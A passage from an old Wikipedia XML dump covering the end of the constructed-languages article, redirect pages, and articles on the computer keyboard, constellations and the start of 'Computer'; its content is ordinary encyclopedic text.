In light of the above, most constructed languages can broadly be divided as follows:

* '''[[Engineered language]]s''' (''engelangs''), further subdivided into '''philosophical languages''' and '''logical languages''' (''loglangs'') - devised for the purpose of experimentation in [[logic]] or [[philosophy]]
* '''[[Auxiliary language]]s''' (''auxlangs'') - devised for international communication (also IALs, for International Auxiliary Language)
* '''[[Artistic language]]s''' (''artlangs'') - devised to create aesthetic pleasure

The boundaries between these categories, however, are by no means clear.  For example, for some fictional auxiliary languages, and also some constructed languages, it is hard to decide whether they are &quot;artistic&quot; or &quot;engineered&quot;.

A constructed language can have native speakers if children learn it at an early age from parents who have learned the language. [[Esperanto]] has a considerable number of [[Native Esperanto speakers|native speakers]], variously estimated to be between 200 and 2000. A member of the [[Klingon Language Institute]], [[d'Armond Speers]], attempted to raise his son as a native (bilingual with English) [[Klingon language|Klingon]] speaker. Evan Robertson, the creator of [[Mosro]], successfully taught the language to his four youngest children.  However, as soon as a constructed language ''does'' have a number of native speakers, it begins to evolve, and thereby loses its constructed status over time.  For example [[Hebrew language|Modern Hebrew]] was modelled on Biblical Hebrew rather than engineered from scratch, and has undergone considerable changes since the state of [[Israel]] was founded in [[1948]].

Proponents of particular constructed languages often have many reasons for using them.  Among these, the famous but disputed [[Sapir-Whorf hypothesis]] is often cited; this claims that the language one speaks influences the way in which one thinks. Thus, a &quot;better&quot; language should allow the speaker to reach some elevated level of intelligence, or to encompass more diverse points of view.

In the [[CONLANG]] Mailing List, a community of [[conlanger]]s has developed, which has its own customs, such as [[translation relay]]s.

==History==

Grammatical speculation is documented from [[Classical Antiquity]], with [[Plato]]'s ''[[Cratylus]]''. However the suggested mechanisms of grammar were designed to explain existing languages ([[Latin]], [[Greek language|Greek]], [[Sanskrit]]), and not aiming at constructing new grammars.  Roughly contemporary to Plato, in his descriptive grammar of Sanskrit, [[Pāṇini]] constructed a meta-linguistic formalism, so that the text of his grammar may be considered a mixture of natural and constructed language.

The earliest non-natural languages were not so much considered &quot;constructed&quot; as &quot;super-natural&quot; or mystical. The  [[Lingua Ignota]], recorded in the [[12th century]] by St [[Hildegard of Bingen]] is an example of this, apparently it is a form of private mystical [[cant (language)|cant]] (see also [[language of angels]]).  [[Kabbalistic]] grammatical speculation was directed at recovering the original language spoken by [[Adam and Eve]] in [[Paradise]], lost in the [[confusion of tongues]]. The first [[Christian]] project for an ideal language is outlined in [[Dante Alighieri]]'s ''[[De vulgari eloquentia]]'', where he searches for the ideal Italian vernacular suited for literature.  [[Ramon Llull|Raymond Lull]]'s ''Ars magna'' was a project of a perfect language with which the infidels could be convinced of the truth of the Christian faith.  It was basically an application of [[combinatorics]] on a given set of concepts.  During the [[Renaissance]], Lullian and Kabbalistic ideas were carried ''ad absurdum'' in a [[Magical thinking|magical]] context, resulting in [[cryptography|cryptographic]] applications. The [[Voynich manuscript]] may be an example of this. Renaissance interest in [[Ancient Egypt]], notably the discovery of the ''[[Hieroglyphica]]'' of [[Horapollo]], and first encounters with the [[Chinese script]] directed efforts towards a perfect language of written characters.  [[Johannes Trithemius]], in his works ''Steganographia'' and ''Polygraphia'', attempted to show how all languages can be reduced to one.  In the [[17th century]], interest in [[Magical thinking|magical]] languages was continued  by the [[Rosicrucians]] and [[Alchemy|Alchemists]] (like [[John Dee]]).  [[Jakob Boehme]] in [[1623]] spoke of a &quot;natural language&quot; (''Natursprache'') of the senses.

[[Musical language]]s from the Renaissance were tied up with [[mysticism]], magic and alchemy, sometimes also referred to as the [[language of the birds]].  The [[Solresol language|Solresol]] project of [[1817]] re-invented the concept in a more pragmatic context.

The 17th century also saw the rise of projects for &quot;philosophical&quot; or &quot;a priori&quot; languages.  Pioneered by [[Francis Lodwick]]'s ''A Common Writing'' ([[1647]]) and ''The Groundwork or Foundation laid (or So Intended) for the Framing of a New Perfect Language and a Universal Common Writing'' ([[1652]]),  [[George Dalgarno]] (''Ars signorum'', [[1661]]) and [[John Wilkins]] (''Essay towards a Real Character, and a Philosophical Language'', [[1668]]) produced systems of hierarchical classification that were intended to result in both spoken and written expression.  [[Gottfried Leibniz]] with ''lingua generalis'' in [[1678]] pursued a similar end, aiming at a lexicon of characters upon which the user might perform calculations that would yield true propositions automatically, as a side-effect developing [[binary calculus]]. These projects were not only occupied with reducing or modelling grammar, but also with the arrangement of all human knowledge into &quot;characters&quot; or hierarchies, an idea that with the [[Age of Enlightenment|Enlightenment]] would ultimately lead to the ''[[Encyclopédie]]''.

Leibniz and the encyclopedists realized that it is impossible to organize human knowledge unequivocally in a tree diagram, and consequently to construct an ''a priori'' language based on such a classification of concepts.  Under the entry ''Charact&amp;egrave;re'', [[D'Alembert]] critically reviewed the projects of philosophical languages of the preceding century.  From the ''Encyclopédie'', projects for ''a priori'' languages moved more and more to the lunatic fringe.  Individual authors, typically unaware of the history of the idea, continued to propose taxonomic philosophical languages until the early [[20th century]] (e.g. [[Ro]]), but most recent [[engineered language]]s have had more modest goals; some are limited to a specific field, like mathematical formalism or calculus (e.g. [[Lincos (language)|Lincos]] and [[programming language]]s), others are designed for eliminating syntactical ambiguity (e.g., [[Loglan]] and [[Lojban]]) or maximizing conciseness (e.g., [[Ithkuil]]).

Already in the ''Encyclopédie'' attention began to focus on ''a posteriori'' auxiliary languages. [[Joachim Faiguet]] in the article on ''Langue'' already wrote a short proposition of a &quot;laconic&quot; or regularized grammar of [[French (language)|French]]. During the [[19th century]], a bewildering variety of such International Auxiliary Languages (IALs) were proposed, so that [[Louis Couturat]] and [[Leopold Leau]] in ''Historire de la langue universelle'' ([[1903]]) could review 38 projects.  The first of these that made any international impact was [[Volapük]], proposed in [[1879]] by [[Johann Martin Schleyer]], and within a decade, 283 Volapükist clubs were counted all over the globe.  However, this language by its very success lost its unity, and within a few years, fell into obscurity, making way for [[Esperanto]], proposed in [[1887]] by [[L. L. Zamenhof|Ludwik Lejzer Zamenhof]], the most successful IAL to date. [[Loglan]] ([[1955]]) and its descendants constitute a pragmatic return to the aims of the ''a priori'' languages, tempered by the requirement of usability of an auxiliary language.

Artistic languages, constructed for literary enjoyment or aesthetic reasons without any claim of usefulness, begin to appear in Early Modern literature (in [[Gargantua and Pantagruel|Pantagruel]], and in [[Utopia]]n contexts), but they only seem to gain notability as serious projects from the [[20th century]].  ''[[A Princess of Mars]]'' by [[Edgar Rice Burroughs]] was possibly the first fiction of the 20th century to feature a constructed language.  [[J. R. R. Tolkien]] was the first to develop a family of related fictional languages and was the first academic to publicly discuss artistic languages, admitting to ''[[A Secret Vice]]'' of his in [[1930]] at an Esperanto congress. ([[George Orwell]]'s ''[[Newspeak]]'' should be considered a parody of an IAL rather than an artistic language proper.)

By the turn of the [[21st century]], it had become common for science-fiction and fantasy works set in other worlds to feature constructed languages, and constructed languages are a regular part of movies of the genre, including ''[[Star Wars]]'', ''[[Star Trek]]'', ''[[Stargate SG-1]]'' and ''[[Atlantis: The Lost Empire]]''.

== See also ==

* [[List of constructed languages]]
* [[Universal language]]
* Language construction
** [[CONLANG]], [[conlanger]]
** [[List of language regulators|Language regulator]]
** [[Language Construction Kit]]
** [[Language game (linguistics)]]
** [[Artificial script]]
* Language modelling and translation
** [[Language translation]]
** [[Knowledge representation]]
** [[Translation relay]]
** [[Universal grammar]]
** [[Metalanguage]]
* Prescriptive grammar
** [[Language planning]]
** [[Linguistic protectionism]]
** [[List of language regulators]]
** [[Spelling reform]]
** [[Pāṇini]]
** [[Duden]], [[German spelling reform of 1996]]
* Spontaneous emergence of grammar
** [[Glottogony]]
** [[Pidgin]]
** [[Poto and Cabengo]]
** [[June and Jennifer Gibbons]]
* Mystical languages
** [[Glossolalia]]
** [[Language of the birds]]

== References ==

* [[Alan Libert]], ''A Priori Artificial Languages''. [[Lincom Europa]], Munich, [[2000]]. ISBN 3-89586-667-9
* [[Umberto Eco]], ''The search for the perfect language'', [[1993]].

== External links ==
{{Wikibooks|Conlang}}

=== Scholarship ===

* [http://64.233.179.104/search?q=cache:C4Pf-lezOvAJ:journal.media-culture.org.au/0003/languages.php+site:journal.media-culture.org.au+constructed+language&amp;hl=en Audience, Uglossia, and CONLANG: Inventing Languages on the Internet] by Sarah L. Higley. M/C: A Journal of Media and Culture 3.1 (2000).
&lt;!-- used Google cache because can't access the original article.  Should try again later. --&gt;
*[http://www.langmaker.com/outpost/outpost.htm Language Arts Outpost] preserves several articles from the paper zine ''Journal of Planned Languages''
*[http://www.rickharrison.com/language/index.html The Language Lab], Rick Harrison's site, also reprints several such articles on specific languages

=== Real life classes on conlangs ===

*[http://www.livejournal.com/community/conlangs_decal Spring 2005 and Spring 2006 UC Berkeley Conlangs DE-Cal] (and its recorded videos, on [http://www.archive.org/search.php?query=conlangs archive.org] and [http://video.google.com/videosearch?q=conlangs video.google.com])
*[http://www.uea.org/agadoj/instruado/pirlot.html List of Esperanto university classes worldwide (in Esperanto)]

===Communities===

* [http://listserv.brown.edu/archives/conlang.html The CONLANG Mailing List]
* [http://www.livejournal.com/community/conlangs LiveJournal Conlangs community]
* [http://www.spinnoff.com/zbb/index.php Zompist Bulletin Board] - a highly active online forum devoted to conlangs (and conworlds in general)
* [http://www.kutjara.com/wiki KutjaraWiki] - a wiki, running on MediaWiki, managed by the denizens of the Zompist BBoard
* [http://www.artlangs.com ArtLangs.com :: The ArtLangs Community] - A forum and site on conlanging and conworlding
* [http://www.conlanger.com Conlanger.com] - A multilingual forum and link collection for conlanging
* [irc://irc.efnet.net/ConLang #ConLang] - The IRC channel #ConLang on EFNet

===How to===

* [http://zompist.com/kit.html The Language Construction Kit]
* [http://pueblacity.com/ego-pdf/ng/lng/how/index.html How to Create a Language] by [[Pablo David Flores]], inspired by the Language Construction Kit; covers some overlooked topics
** [http://pueblacity.com/ego-pdf/sp/lng/como/index.html Cómo crear un lenguaje] - [[Spanish language]] version
* [http://langmaker.com/ Langmaker: ConLangs and neologisms forum]

===Link collections===

* [http://www.langmaker.com/ Conlang Profiles at Langmaker.com] - over 1,000 languages listed, frequently updated
&lt;!-- * [http://www.myconlanglinks.tk/ Invaluable Conlang Links] [Broken?] --&gt;
* [http://www.geocities.com/Athens/Acropolis/9219/conlib.html A Constructed Languages Library]
* [http://www.geocities.com/Athens/Crete/5555/conlang.htm The Conlang Yellow Pages]
* [http://www.homunculus.com/babel/ Blueprints For Babel]
* [http://minyeva.alkaline.org/links.htm Garrett's Links to Logical Languages]

===Collections of constructed language resource links===

*[http://www.sys.uea.ac.uk/~jrk/conlang.html Some Internet resources relating to constructed languages]
*[http://www.langmaker.com/db/rsc_a2z_index.htm More Internet resources relating to constructed languages]

===Wikis on or about constructed languages===

* [http://talideon.com/concultures/wiki ConlangWiki] - a wiki devoted to the topics of ConLangs and ConCultures.
* [http://conlang.wikicities.com/ Conlang Wikicity]
* [http://ial.wikicities.com/ IAL Wiki] - a wiki for the Auxlang community
* [http://wiki.frath.net/ FrathWiki]
* [http://home.unilang.org/main/wiki Unilang.org] - a database of language- and linguistic-related information 

[[Category:Lists of languages]]
[[Category:World building]]
[[Category:Constructed languages|*]]
[[Category:Linguistics]]

{{Link FA|nl}}

[[ar:لغة اصطناعية]]
[[br:Yezh savet a-ratozh]]
[[cs:Umělý jazyk]]
[[da:Kunstsprog]]
[[de:Konstruierte Sprache]]
[[es:Lengua construida]]
[[eo:Konstruita lingvo]]
[[fr:Langue construite]]
[[gl:Ideolingua]]
[[ko:인공어]]
[[id:Conlang]]
[[ia:Lingua artificial]]
[[is:Tilbúin tungumál]]
[[it:Lingua artificiale]]
[[he:שפה מתוכננת]]
[[sw:Lugha iliyotengenezwa]]
[[la:Lingua artificiosa]]
[[lt:Dirbtinė kalba]]
[[jbo:runbau]]
[[hu:Mesterséges nyelv]]
[[nl:Kunsttaal]]
[[ja:人工言語]]
[[no:planspråk: definisjoner]]
[[pl:Języki sztuczne]]
[[pt:Língua artificial]]
[[ro:Limbă artificială]]
[[ru:Искусственный язык]]
[[sk:Umelý jazyk]]
[[sq:Gjuha artificiale]]
[[fi:Keinotekoinen kieli]]
[[sv:Konstgjorda språk]]
[[th:ภาษาประดิษฐ์]]
[[zh:人造語言]]</text>
    </revision>
  </page>
  <page>
    <title>Computer Monitor</title>
    <id>5264</id>
    <revision>
      <id>15903484</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Computer display]]
</text>
    </revision>
  </page>
  <page>
    <title>Computer Mouse</title>
    <id>5265</id>
    <revision>
      <id>24178517</id>
      <timestamp>2005-09-27T19:24:43Z</timestamp>
      <contributor>
        <username>Violetriga</username>
        <id>90192</id>
      </contributor>
      <minor />
      <comment>update redirect after move</comment>
      <text xml:space="preserve">#REDIRECT [[Mouse (computing)]]</text>
    </revision>
  </page>
  <page>
    <title>Computer keyboard</title>
    <id>5266</id>
    <revision>
      <id>42007284</id>
      <timestamp>2006-03-03T04:34:04Z</timestamp>
      <contributor>
        <username>Chainz</username>
        <id>619071</id>
      </contributor>
      <comment>/* Designs */</comment>
      <text xml:space="preserve">A '''computer keyboard''' is a [[computer peripheral|peripheral]] modeled after the [[typewriter keyboard]]. Keyboards are designed for the input of text and characters, and also to control the operation of the computer. Physically, computer keyboards are an arrangement of rectangular or near-rectangular buttons, or &quot;keys&quot;. Keyboards typically have characters engraved or printed on the keys; in most cases, each press of a key corresponds to a single written symbol. However, to produce some symbols requires pressing and holding several keys simultaneously, or in sequence; other keys do not produce any symbol, but instead affect the operation of the computer, or the keyboard itself. See [[input method editor]].

[[Image:Qwerty.svg|thumb|right|500px|A 102-key PC [[United States|US]] [[English language|English]] QWERTY keyboard layout]]

Roughly 50% of all keyboard keys produce letters, numbers or signs ([[character (computing)|characters]]). Other keys can produce actions when pressed, and other actions are available by simultaneously pressing more than one action key.

==Designs==

There exist a large number of different arrangements of symbols on keys. These different [[keyboard layout]]s arise because different people need easy access to different symbols; typically, this is because they are writing in different languages, but specialized keyboard layouts for mathematics, accounting, and computer programming do exist.

The number of keys on a keyboard generally varies from the standard 101 keys to the 104 windows keyboards all the way up to 130 keys with many programmable keys. There are also compact variants that have fewer than 90 keys. They are normally found in [[laptop]]s or in desktop computers with space constraints.

=== Standard arrangements ===
[[Image:Computer keyboard.gif|thumb|right]]
The most common arrangements in Western countries are based on the [[QWERTY]] layout (including closely-related variants, such as the [[France|French]] [[Keyboard_layout#AZERTY|AZERTY]] layout). Even in countries where different [[Alphabet|alphabets]] or writing systems are in use, the physical  layout of the keys is often quite similar (e.g. the [[Keyboard_layout#Thai|Thai keyboard layout]]).

====Additional keys and &quot;Internet&quot; keyboards====

Most modern computer keyboards (including those on the [[IBM PC|PC]] and [[Apple Mac]]) are based on these standard versions, but include additional keys not normally found on typewriters, such as [[Function key|function keys]], a [[numeric keypad]], and so on. In recent years, so-called &quot;Internet keyboards&quot; have also become popular. These include extra buttons for specific applications or functions (typically a [[Web browser|browser]] or [[E-mail|email client]]).

=== Plug Types ===
There are a few different ways of connecting a keyboard which have evolved over the years. These include [[PS/2|PS/2]] and [[USB|USB]] connections.

=== Alternatives ===

A standard keyboard is physically quite large, as each key must remain large enough to be easily pressed by fingers. Other types of keyboards have been proposed for small portable equipment where a standard keyboard is too large. One way to reduce the number of keys is to use [[Chorded keyboard|chording]], i.e. pressing several keys simultaneously. As an example, the [[GKOS keyboard]] has been designed for small wireless devices.  Other two-handed alternatives more akin to a gaming controller, such as the [[AlphaGrip]], are also used as a way to input data and text.

==Usage==
[[Image:Foldable keyboard.jpg|thumb|right|A foldable Keyboard]]
In normal usage, the keyboard is used to type text into word processor, text editor, or any other textbox.

In modern computers the interpretation of keypresses is generally left to the software. Modern keyboards distinguish each physical key from every other and report all keypresses and releases to the controlling software. This flexibility is not often taken advantage of and it usually does not matter, for example, whether the left or right shift key is held down in conjunction with another character.

===Commands===
A keyboard is also used to type commands in a computer. One famous example on the [[IBM PC|PC]] is the [[Control-Alt-Delete|Ctrl+Alt+Del]] combination. With current versions of [[Microsoft Windows|Windows]], this brings up a menu-window including options for handling currently-running applications and shutting down the computer, amongst other things. Under [[Linux]], [[MS-DOS]] and some older versions of Windows, Ctrl+Alt+Del performs either a 'cold' or 'warm' reboot.

===Games===
A keyboard is one of the primary [[game controller|controllers]] in [[computer game]]s. For instance, the [[arrow keys]] or a group of letters resembling the pattern of the arrow keys, like [[WASD]], can be used for movement of a game character. In many games keys can be configured to the user's preferences. Alphabet keys are also sometimes used to perform actions starting with that letter. (e.g. pressing ''e'' to ''eat'' in [[NetHack]]). Keyboards are less than ideal when many keys are to be pressed at once, as the limited circuitry means that only a certain number of keys will register at one time. An obvious example of this is phantom key blocking. On older keyboards, due to the circuit design, sometimes pressing three keys simultaneously results in a 4th keypress being registered. Modern keyboards prevent this from happening by blocking the 3rd key in certain key combinations, but while this prevents phantom input, it also means that when two keys are depressed simultaneously, many of the other keys on the keyboard will not respond until one of the two depressed keys is lifted. Better keyboards are designed so that this happens infrequently in office programs, but it remains a problem in games even on expensive keyboards, due to wildly different and/or configurable key/command layouts in different games.

==How it works==

The following briefly describes a &quot;[[Keyboard_technology#Dome_switch_keyboard|dome-switch]]&quot; keyboard (sometimes misleadingly referred to as a [[membrane keyboard]]), the most common type in use today:-

# When a key is pressed, it pushes down on a rubber dome sitting beneath the key. A [[Conductor (material)|conductive]] contact on the underside of the dome touches (and hence connects) a pair of conductive lines on the circuit below.
# This bridges the gap between them and allows current to flow (i.e. the [[switch]] goes from open to closed), changing the signal strength.
# A scanning signal is emitted by the chip along the pairs of lines to all the keys. When the signal in one pair becomes different, the chip generates a &quot;make code&quot; corresponding to the key connected to that pair of lines. 
# The code generated is sent to the computer either via a keyboard cable (using on-off electrical pulses to represent [[bit|bits]]) or over a [[wireless]] connection.
# A chip inside the computer receives the signal bits and decodes them into the appropriate keypress. The computer then decides what to do on the basis of the key pressed (e.g. display a character on the screen, or perform some action).

Other types of keyboard function in a similar manner, the main differences being how the individual key-switches work. For more detail, refer to the &quot;[[Keyboard technology]]&quot; article.

==Keys on a computer keyboard==
*[[Modifier key]]
**[[Control key]]
**[[Shift key]]
**[[Alt key]] / [[Option key]] (Macintosh)
**[[AltGr key]]
**[[Command key]] / [[Meta key]] (MIT computer keyboards)
**[[Windows key]]
*[[Dead key]]
**[[Compose key]]
*[[Lock key]]
**[[Scroll lock]]
**[[Num lock]]
**[[Caps lock]]
*Navigation keys
**[[Arrow keys]]
**[[Page Scroll]] ([[Page Up]] / [[Page Down]])
**[[Home key]] / [[End key]]
*[[Edit keys]]
**[[Carriage return|Return key / Enter key]]
**[[Backspace]]
**[[Insert key]]
**[[Delete key]]
**[[Tab]]
*[[SysRq]] / [[Print screen]]
*[[Break key]] / Pause key
*[[Escape key]]
*[[Menu key]]
*[[Space bar]]
*[[Numpad]]
*[[Function key]]
*[[Power management keys]]
**Power key
**Sleep key
**Wake key

==See also==

*[[Alphanumeric keyboard]]
*[[ASCII]]
*[[asdf|ASDF]]
*[[AT keyboard]]
*[[British and American keyboards]]
*[[Chiclet keyboard]]
*[[Chinese input methods for computers]]
*[[Chord keyset]]
*[[Colemak]]
*[[Das Keyboard]] (blank keyboard)
*[[Dvorak keyboard]]
*[[Enhanced keyboard]]
*[[EZ-Reach (keyboard)]]
*[[F-Lock]]
*[[GKOS keyboard]] (chorded keyboard)
*[[Home row]]
*[[Hunt and peck typing]]
*[[IBM PC keyboard]]
*[[IBM Model M Keyboard]]
*[[Keyboard layout]]
*[[Keyboard technology]]
*[[Maltron keyboard]]
*[[Membrane keyboard]]
*[[Microsoft Natural keyboard]]
*[[Optimus Keyboard]]
*[[Repetitive strain injury]]
*[[Space-cadet keyboard]]
*[[Touch typing]]
*[[Typing]]
*[[Velotype]] (chorded keyboard)

==External links==
* [http://gkos.com GKOS keyboard]
* [http://www.handykey.com/site/twiddler2.html Twiddler 2], a keyboard designed for [[wearable computing]]
* [http://www.pfu.fujitsu.com/en/hhkeyboard/ Happy Hacking keyboards] - A minimalistic keyboard designed for [[hacker]]s
* [http://www.beyondlogic.org/keyboard/keybrd.htm Interfacing the AT keyboard] 
* [http://hardware.slashdot.org/article.pl?sid=05/07/14/1335215&amp;from=rss Slashdot article]- Article and discussion on OLED keyboards.
* [http://www.humanics-es.com/ergonomics.htm Ergonomics research on alternative keyboard designs]


{{Gamepad styles}}

[[Category:Computer keyboards|*]]
[[Category:Computer hardware]]

[[bs:Tastatura]]
[[ca:Teclat]]
[[cs:Počítačová klávesnice]]
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[[et:Sõrmistik]]
[[es:Teclado de ordenador]]
[[eo:Klavaro]]
[[fr:Clavier informatique]]
[[gl:Teclado]]
[[ko:컴퓨터 자판]]
[[hr:Tipkovnica]]
[[id:Keyboard]]
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[[he:מקלדת מחשב]]
[[hu:Billentyűzet]]
[[nl:Toetsenbord]]
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[[ja:キーボード]]
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[[pl:Klawiatura]]
[[pt:Teclado (computador)]]
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[[th:คีย์บอร์ด (คอมพิวเตอร์)]]
[[uk:Клавіатура]]</text>
    </revision>
  </page>
  <page>
    <title>Constellation</title>
    <id>5267</id>
    <revision>
      <id>41269829</id>
      <timestamp>2006-02-26T04:53:32Z</timestamp>
      <contributor>
        <username>Bloodshedder</username>
        <id>20963</id>
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      <minor />
      <comment>main template</comment>
      <text xml:space="preserve">{{OtherUses|a collection of Stars}}

[[Image:Orion_constellation_map.png|thumb|300px|[[Orion (constellation)|Orion]] is a remarkable constellation, visible from most places on the globe at one time or another during the year. The '''constellation''' of Orion is the area outlined in the dashed yellow line. [[Orion]] contains a striking and well-known star pattern that has the form of a hunter.]]
A '''constellation''' is any one of the 88 areas into which the sky - or the [[celestial sphere]] - is divided. The term is also often used, incorrectly, to denote a group of [[star]]s visibly related to each other in a particular configuration or pattern.

Some well-known constellations contain striking and familiar patterns of bright stars.  Examples are [[Ursa Major]] (containing the star pattern known as the [[Big Dipper]]), [[Orion]] (containing a striking figure of a hunter), [[Leo]] (containing bright stars outlining the form of a lion) and [[Scorpius]] (a scorpion). Other constellations do not encompass any discernible star patterns, and contain only faint stars.

== Explanation ==

The [[International Astronomical Union]] (IAU) divides the sky into 88 official constellations with precise [[boundaries]], so that every [[direction]] or place in the sky belongs within one constellation. In the northern celestial hemisphere, these are mostly based upon the constellations of the ancient [[ancient Greece|Greek]] tradition, passed down through the [[Middle Ages]], and contains the signs of the [[zodiac]]. 

The constellation boundaries were drawn up by [[Eugène Delporte]] in [[1930]], and he drew them along vertical and horizontal lines of [[right ascension]] and [[declination]].  However, he did so for the [[epoch (astronomy)|epoch]] [[B1875.0]], which means that due to [[precession]] of the equinoxes, the borders on a modern star map (eg, for epoch [[J2000]]) are already somewhat skewed and no longer perfectly vertical or horizontal.  This skew will increase over the years and centuries to come.

In [[dimension|three-dimensional]] space, most of the stars we see have little or no relation to one another, but can appear to be grouped on the [[celestial sphere]] of the [[night]] [[sky]]. [[Human]]s excel at finding [[pattern]]s and throughout history have grouped stars that appear close to one another into patterns.

A star pattern may be widely known but may not recognized by the [[International Astronomical Union]]; such a pattern of stars is called an [[asterism (astronomy)|asterism]]. An example is the grouping called the [[Big Dipper]] (North America) or the [[Big Dipper|Plough]] ([[United Kingdom|UK]]).

The stars in a constellation or asterism rarely have any astrophysical relationship to each other; they just happen to appear close together in the sky as viewed from [[Earth]] and typically lie many [[light years]] apart in space.  However, one exception to this is the [[Ursa Major moving group]].

The grouping of stars into constellations is essentially [[wiktionary:arbitrary|arbitrary]], and different [[culture]]s have had different constellations, although a few of the more obvious ones tend to recur frequently, e.g., [[Orion (constellation)|Orion]] and [[Scorpius]].

==History of the constellations==
{{main|Former constellations}}
Our current list is based on those listed by the [[Roman Empire|Roman]] astronomer, [[Ptolemy|Claudius Ptolemy]], who lived in [[Alexandria]], [[History of Greek and Roman Egypt|Egypt]]. ([[Ptolemy|Claudius Ptolemy]], the astronomer, was not related to the [[Ptolemaic_dynasty|Greek kings of Egypt named Ptolemy]].)

In more recent times this list has been added to, to fill gaps between Ptolemy's patterns. The Greeks considered the sky as including both constellations and dim spaces between. But Renaissance star catalogs by [[Johann Bayer]] and [[John Flamsteed]] required every star to be in a constellation, and the number of visible stars in a constellation to be manageably small.

Twelve of the constellations in the southern celestial hemisphere were not observable by the Greeks, and were created by Dutch navigators [[Pieter Dirkszoon Keyser]] and [[Frederick de Houtman]] in the sixteenth century and first cataloged by [[Johann Bayer]].

Other proposed constellations didn't make the cut, most notably [[Quadrans Muralis]] (now part of [[Boötes]]) for which the [[Quadrantids|Quadrantid meteors]] are named. Also the ancient constellation [[Argo Navis]] was so big that it was broken up into several different constellations, for the convenience of stellar cartographers.

== Constellations in variant cultures ==
{{main|Chinese constellation}}

Chinese constellations are different from the western constellations, due to the independent development of ancient [[China|Chinese]] [[astronomy]]. Ancient Chinese skywatchers divided their night sky in a different way, but there are also similarities. The Chinese counterpart of the 12 western [[zodiac]] constellations are the 28 &quot;Xiu&quot; (&amp;#23487;) or &quot;mansions&quot; (a literal translation).

== Star names ==

All modern constellation names are [[Latin language|Latin]] proper names or words, and some stars are named using the [[genitive]] of the constellation in which they are found.  The genitive is formed using the usual rules of Latin grammar, and for those unfamiliar with that language the form of the genitive is unpredictable and must be memorized.  Some examples include: Aries &amp;rarr; Arietis; Taurus &amp;rarr; Tauri; Gemini &amp;rarr; Geminorum; Virgo &amp;rarr; Virginis; Libra &amp;rarr; Librae; Pisces &amp;rarr; Piscium; Lepus &amp;rarr; Leporis.

These names include [[Bayer designation]]s such as [[Alpha Centauri]], [[Flamsteed designation]]s such as [[61 Cygni]], and [[variable star designation]]s such as [[RR Lyrae]].  However, many fainter stars will just be given a catalog number designation (in each of various [[star catalog]]s) that does not incorporate the constellation name.

For more information about star names, see [[Star designation]]s and the [[list of stars by constellation]].

== See also ==

* [[List of constellations]]
* [[List of constellations by area]]
* [[Former constellations]]
* [[Chinese constellation]]
* [[lunar mansion]]

{{Zodiac}}
{{ConstellationsListedByPtolemy}}
{{ConstellationsByBayer}}
{{ConstellationsChangedByBayer}}
{{ConstellationsByBartsch}}
{{ConstellationsRoyerAltered}}
{{ConstellationsByHevelius}}
{{ConstellationsNLDLAltered}}
{{ConstellationsByLacaille}}
{{ConstellationsFormer}}
{{ConstellationList}}

==External links==
{{commons|Category:Constellations|Constellations}}
*[http://www.dibonsmith.com/constel.htm The Constellations]
*[http://www.allthesky.com/constellations/ Photographic Atlas of the Constellations]
*[http://celestia.sourceforge.net Celestia] free 3D realtime space-simulation (OpenGL)
*[http://stellarium.free.fr/ Stellarium] realtime sky rendering program (OpenGL)
*[http://cdsweb.u-strasbg.fr/viz-bin/Cat?VI/49 Strasbourg Astronomical Data Center Files on official IAU constellation boundaries] (the older NASA ADC service does not function anymore)
*[http://www.astro.wisc.edu/~dolan/constellations/ Interactive Sky Charts] (Allows navigation through the entire sky with variable star detail, optional constellation lines)
*http://www.astronomical.org/constellations/obs.html
*http://www.seds.org/Maps/Stars_en/Fig/const.html
* [http://reference.allrefer.com/encyclopedia/categories/const.html Constellations Articles]
*[http://borghetto.astrofili.org/costellazioni/bordo.htm Full constellation diagrams resembling their names]
* [http://images.google.com/images?q=constellations Images of constellations]

[[Category:Constellations| ]]

&lt;!-- The below are interlanguage links. --&gt;

[[af:Sterrebeeld]]
[[ar:أبراج]]
[[bg:&amp;#1057;&amp;#1098;&amp;#1079;&amp;#1074;&amp;#1077;&amp;#1079;&amp;#1076;&amp;#1080;&amp;#1077;]]
[[ca:Constel·lació]]
[[cs:Souhvězdí]]
[[de:Sternbild]]
[[da:Stjernebillede]]
[[et:Tähtkuju]]
[[es:Constelación]]
[[eo:Konstelacio]]
[[fa:پیکرهای آسمانی]]
[[fr:Constellation]]
[[gu:નક્ષત્ર]]
[[hr:zviježđe]]
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[[io:Stelaro]]
[[id:Rasi bintang]]
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[[la:Sidus]]
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[[pl:Gwiazdozbiór]]
[[pt:Constelação]]
[[ru:Созвездие]]
[[scn:Custiddazzioni]]
[[sl:Ozvezdje]]
[[fi:Tähdistö]]
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[[vi:Chòm sao]]
[[zh:&amp;#26143;&amp;#24231;]]</text>
    </revision>
  </page>
  <page>
    <title>Computer</title>
    <id>5268</id>
    <revision>
      <id>42149393</id>
      <timestamp>2006-03-04T03:35:58Z</timestamp>
      <contributor>
        <username>R. S. Shaw</username>
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      <minor />
      <comment>/* History of computing */ word</comment>
      <text xml:space="preserve">:''For the magazine by IEEE Computer Society, see [[Computer (magazine)]]''
A '''computer''' is a machine for manipulating [[data]] according to a list of instructions - a [[Computer program|program]]. 

Computers are versatile.  In fact, they are ''universal'' information processing machines. According to the [[Church-Turing thesis]], a computer with a certain minimum threshold capability is in principle capable of performing the tasks of ''any'' other computer, from those of a [[personal digital assistant]] to a [[supercomputer]], as long as time and memory capacity are not considerations. Therefore, the same computer designs have been adapted for tasks from processing company payrolls to controlling [[Unmanned space mission|unmanned spaceflights]]. Modern electronic computers also have enormous speed and capacity for information processing compared to earlier designs, and they have become exponentially more powerful over the years (a phenomenon known as [[Moore's law|Moore's Law]]).

Computers are available in many physical forms. The original computers were the size of a large room, and such enormous computing facilities still exist for specialized [[science|scientific]] computation — [[supercomputer]]s — and for the [[transaction processing]] requirements of large companies, generally called [[mainframe]]s. Smaller computers for individual use, called [[personal computer]]s, and their portable equivalent, the [[laptop computer]], are ubiquitous information-processing and [[communication]] tools and are perhaps what most non-experts think of as &quot;a computer&quot;. However, the most common form of computer in use today is the [[embedded computer]], small computers used to control another device. Embedded computers control machines from [[fighter planes]] to [[digital camera]]s.

==History of computing==
{{main|History of computing}}
[[Image:Eniac.jpg|thumb|right|[[ENIAC]] — a very important milestone in computing history]]
